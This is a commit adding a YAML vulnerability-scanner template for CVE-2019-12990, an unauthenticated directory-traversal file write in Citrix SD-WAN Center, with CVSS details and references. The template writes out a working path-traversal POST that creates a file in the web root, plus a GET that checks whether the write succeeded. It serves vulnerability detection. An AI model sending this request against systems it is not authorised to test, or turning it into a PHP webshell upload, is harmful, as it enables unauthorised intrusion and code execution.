Create CVE-2019-12990.yaml

The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

cves/2019/CVE-2019-12990.yaml

@@ -0,0 +1,35 @@
+id: CVE-2019-12990
+
+info:
+  name: Citrix SD-WAN Center - Unauthenticated Directory Traversal File Write
+  author: gy741
+  severity: critical
+  description: |
+    The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-12990
+    - https://www.tenable.com/security/research/tra-2019-31
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2019-12990
+    cwe-id: CWE-22
+  tags: cve,cve2019,citrix,rce,unauth
+
+requests:
+  - raw:
+      - |
+        POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
+
+        GET /talari/app/files/{{randstr}} HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+
+    matchers:
+      - type: status
+        status:
+          - 200